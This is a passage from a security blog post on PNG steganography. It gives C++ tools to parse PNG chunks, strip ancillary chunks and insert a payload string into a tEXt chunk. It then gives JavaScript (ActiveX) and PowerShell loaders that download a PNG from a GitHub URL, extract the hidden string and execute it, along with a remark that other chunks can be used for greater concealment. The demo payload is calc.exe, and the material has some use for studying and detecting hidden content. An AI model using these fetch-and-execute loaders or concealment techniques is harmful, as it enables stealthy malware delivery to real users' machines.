Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\tprintf(\"   ChunkOffset:0x%08x\\t\\n\",ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\\t\\t\\n\",ChunkLen);\u003Cbr>\t\tChunkOffset+=ChunkLen+12;\u003Cbr>\t\tcrc32=GetCrc32(buf,ChunkLen+4);\u003Cbr>\t\tprintf(\"   ExpectCRC32:%08X\\n\",crc32);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkCRC32=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\\t\\t\",ChunkCRC32);\u003Cbr>\t\tif(crc32!=ChunkCRC32)\u003Cbr>\t\t\\tprintf(\"[!]CRC32Check Error!\\n\");\u003Cbr>\t\telse\u003Cbr>\t\t\\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\t\t\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When executed, the complete PNG file structure can be obtained\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019874855_6_53f0e48f83-1.png\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019879080_7_066528b5fc-1.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This program can be used to analyze PNG file formats, marking chunk names, offset addresses, chunk lengths, and comparing expected versus actual CRC32 checksums. It can be used to analyze batch files and identify suspicious files.\u003C\u002Fp>\u003Cp>Python implementation code will be supplemented later\u003C\u002Fp>\u003Ch2>0x05 Remove redundant data\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>As mentioned above, removing the content of ancillary chunks does not affect the viewing of PNG images. Next, we will attempt to remove all ancillary chunks from the PNG file.\u003C\u002Fp>\u003Ch3>1. Tool Implementation\u003C\u002Fh3>\u003Cp>As shown in the figure, use a Hex Editor to remove the ancillary chunks gAMA, cHRM, and bKGD.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019884880_8_fa6de21167-1.png\">\u003C\u002Fp>\u003Cp>As shown in the figure, the file size changes, but it does not affect the viewing of the PNG file.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019887430_9_b39b60113a-1.jpeg\">\u003C\u002Fp>\u003Ch3>2. Program Implementation\u003C\u002Fh3>\u003Cp>Remove all ancillary chunks, extracting only key information. The program first checks the ChunkName, ignores the content of non-critical data chunks (Ancillary Chunks), and saves it as new.png.\u003C\u002Fp>\u003Cp>Save as compress.cpp, the complete code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp,*fpnew;   \u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\t\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0,j=0;\u003Cbr>\tunsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};\t\u003Cbr>\tunsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};\t   \u003Cbr>\t\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\0.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tif((fpnew=fopen(\"c:\\\\test\\\\new.png\",\"wb\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\tfwrite(Signature,8,1,fpnew);\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tj=0;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\u003Cbr>\t\t\tfwrite(buf,4+ChunkLen,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\t\tfseek(fpnew, -4, SEEK_CUR);\u003Cbr>\t\t\tj = 1;\u003Cbr>\t\t}\u003Cbr>\t\tprintf(\"   ChunkOffset: 0x%08x\\t\\n\", ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\\t\\t\\n\", ChunkLen);\u003Cbr>\t\tcrc32 = GetCrc32(buf, ChunkLen + 4);\u003Cbr>\t\tprintf(\"   ExpectCRC32: %08X\\n\", crc32);\u003Cbr>\t\tfread(buf, 4, 1, fp);\u003Cbr>\t\tChunkCRC32 = (buf[0] &lt;&lt; 24) | (buf[1] &lt;&lt; 16) | (buf[2] &lt;&lt; 8) | buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\\t\\t\", ChunkCRC32);\u003Cbr>\t\tif (crc32 != ChunkCRC32)\u003Cbr>\t\t\tprintf(\"[!] CRC32 Check Error!\\n\")\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\t\tif(j==0)\u003Cbr>\t\t\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tfwrite(IEND,12,1,fpnew);\u003Cbr>\tfclose(fp);\u003Cbr>\tfclose(fpnew);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown, the left side is the original PNG file size, while the right side is the file after removing all ancillary chunks, which can still be viewed normally\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019888408_10_4e1142a309-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Write Payload\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Example:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Write the payload according to the ancillary chunk format\u003C\u002Fp>\u003Cp>The written payload is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>calc.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Ancillary chunk set to:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>tEXt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding complete chunk structure is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Length:\t\t\t\t00 00 00 08\u003Cbr>Chunk Type Code:\t74 45 58 74\u003Cbr>Chunk Data:\t\t\t63 61 6c 63 2e 65 78 65\u003Cbr>CRC:\t\t\t\tfa c4 08 76\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The written hexadecimal data is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65 fa c4 08 76\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This example is for demonstration only; in actual use, other data chunks can be used for greater concealment.\u003C\u002Fp>\u003Ch3>1. Tool Implementation\u003C\u002Fh3>\u003Cp>Insert data using a Hex Editor, as shown in the figure.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019889924_11_2f424c4312-1.png\">\u003C\u002Fp>\u003Cp>After saving, PNG file viewing remains unaffected.\u003C\u002Fp>\u003Ch3>2. Program Implementation\u003C\u002Fh3>\u003Cp>After removing all ancillary data chunks from the PNG file, write the payload data chunk tEXt.\u003C\u002Fp>\u003Cp>Save as addpayload.cpp, complete code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>void convertStrToUnChar(char* str, unsigned char* UnChar)  \u003Cbr>{  \u003Cbr>\tint i = strlen(str), j = 0, counter = 0;  \u003Cbr>\tchar c[2];  \u003Cbr>\tunsigned int bytes[2];  \u003Cbr>  \u003Cbr>\tfor (j = 0; j &lt; i; j += 2)   \u003Cbr>\t{  \u003Cbr>\t\tif(0 == j % 2)  \u003Cbr>\t\t{  \u003Cbr>\t\t\tc[0] = str[j];  \u003Cbr>\t\t\tc[1] = str[j + 1];  \u003Cbr>\t\t\tsscanf(c, \"%02x\" , &amp;bytes[0]);  \u003Cbr>\t\t\tUnChar[counter] = bytes[0];  \u003Cbr>\t\t\tcounter++;  \u003Cbr>\t\t}  \u003Cbr>\t}  \u003Cbr>\treturn;  \u003Cbr>}     \u003Cbr>\u003Cbr>void AddPayload(FILE *fp)\u003Cbr>{\u003Cbr>\tchar *Payload=\"calc.exe\";\u003Cbr>\tunsigned char *buf;\u003Cbr>\tint len;\u003Cbr>\tint crc32;\u003Cbr>\tlen=strlen(Payload);\u003Cbr>\tbuf=new unsigned char[len+12];\u003Cbr>\tbuf[0]=len&gt;&gt;24&amp;0xff;\u003Cbr>\tbuf[1]=len&gt;&gt;16&amp;0xff;\u003Cbr>\tbuf[2]=len&gt;&gt;8&amp;0xff;\u003Cbr>\tbuf[3]=len&amp;0xff;\u003Cbr>\tbuf[4]='t';\u003Cbr>\tbuf[5]='E';\u003Cbr>\tbuf[6]='X';\u003Cbr>\tbuf[7]='t';\u003Cbr>\tfor(int j=0;j\u003Clen;j++)\u003Cbr>\t\tbuf[j+8]=Payload[j];\u003Cbr>\tbuf[len+8]=0XFA;\u003Cbr>\tbuf[len+9]=0XC4;\u003Cbr>\tbuf[len+10]=0X08;\u003Cbr>\tbuf[len+11]=0X76;\u003Cbr>\tfwrite(buf,len+12,1,fp);\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp,*fpnew;\u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0,j=0;\u003Cbr>\tunsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};\t\u003Cbr>\tunsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};\t   \u003Cbr>\t\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;  \u003Cbr>\tif((fpnew=fopen(\"c:\\\\test\\\\new.png\",\"wb\"))==NULL)\u003Cbr>\t\treturn 0;  \u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\tfwrite(Signature,8,1,fpnew);\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tj=0;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\u003Cbr>\t\t\tfwrite(buf,4+ChunkLen,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\t\tfseek(fpnew,-4,SEEK_CUR);\u003Cbr>\t\t\tj=1;\u003Cbr>\t\t}\u003Cbr>\t\tprintf(\"   ChunkOffset:0x%08x\t\\n\",ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\t\t\\n\",ChunkLen);\u003Cbr>\t\tcrc32=GetCrc32(buf,ChunkLen+4);\u003Cbr>\t\tprintf(\"   ExpectCRC32:%08X\\n\",crc32);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkCRC32=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\t\t\",ChunkCRC32);\u003Cbr>\t\tif(crc32!=ChunkCRC32)\u003Cbr>\t\t\tprintf(\"[!]CRC32Check Error!\\n\");\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\t\tif(j==0)\u003Cbr>\t\t\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tAddPayload(fpnew);\u003Cbr>\tfwrite(IEND,12,1,fpnew);\u003Cbr>\tfclose(fp);\u003Cbr>\tfclose(fpnew);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;j++)\u003Cbr>\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use check.cpp to verify it, as shown in the figure, verification successful\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019891372_12_df943447bb-1.png\">\u003C\u002Fp>\u003Ch2>0x07 Read payload and execute\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Upload the image with payload added to GitHub, and implement reading the image, parsing the payload, and executing it on the client side:\u003C\u002Fp>\u003Ch3>1、javascript\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>h = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");\u003Cbr>h.SetTimeouts(0, 0, 0, 0);\u003Cbr>h.Open(\"GET\",\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FPNG-Steganography\u002Fmaster\u002Fnew.png\",false);\u003Cbr>h.Send();\u003Cbr>Data = h.ResponseText;\u003Cbr>x=Data.indexOf(\"tEXt\");\u003Cbr>y=Data.indexOf(\"IEND\");\u003Cbr>str=Data.substring(x+4,y-8);\u003Cbr>new ActiveXObject(\"WScript.Shell\").Run(str); \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2、powershell\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$url = 'https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FPNG-Steganography\u002Fmaster\u002Fnew.png'\u003Cbr>$request = New-Object System.Net.WebCLient\u003Cbr>$bytes = $request.DownloadString($url)\u003Cbr>$x=$bytes.indexof(\"tEXt\")\u003Cbr>$y=$bytes.indexof(\"IEND\")\u003Cbr>$str=$bytes.Substring($x+4,$y-$x-12)\u003Cbr>Start-Process -FilePath $str\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Two methods are provided here for demonstration purposes only\u003C\u002Fp>\u003Ch2>0x08 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article provides a detailed analysis of the PNG file format and implements the following functionalities through programming:\u003C\u002Fp>\u003Cul>\u003Cli>Automatically parse the PNG file format to assist in finding hidden content within\u003C\u002Fli>\u003Cli>Add Payload\u003C\u002Fli>\u003Cli>Download PNG images, parse them, and execute the payload\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fbody>\u003C\u002Fhtml>",1583,"Onedaysec",10,"published","2026-02-02T08:19:47.662Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"PNG Steganography: Hiding Payloads in Images Using File Format","PNG steganography, payload hiding, file format analysis, data chunks, information hiding, penetration testing",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,4],165,164,163,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.980Z","2026-07-23T16:01:06.025Z","draft","2026-07-23T16:04:07.793Z"]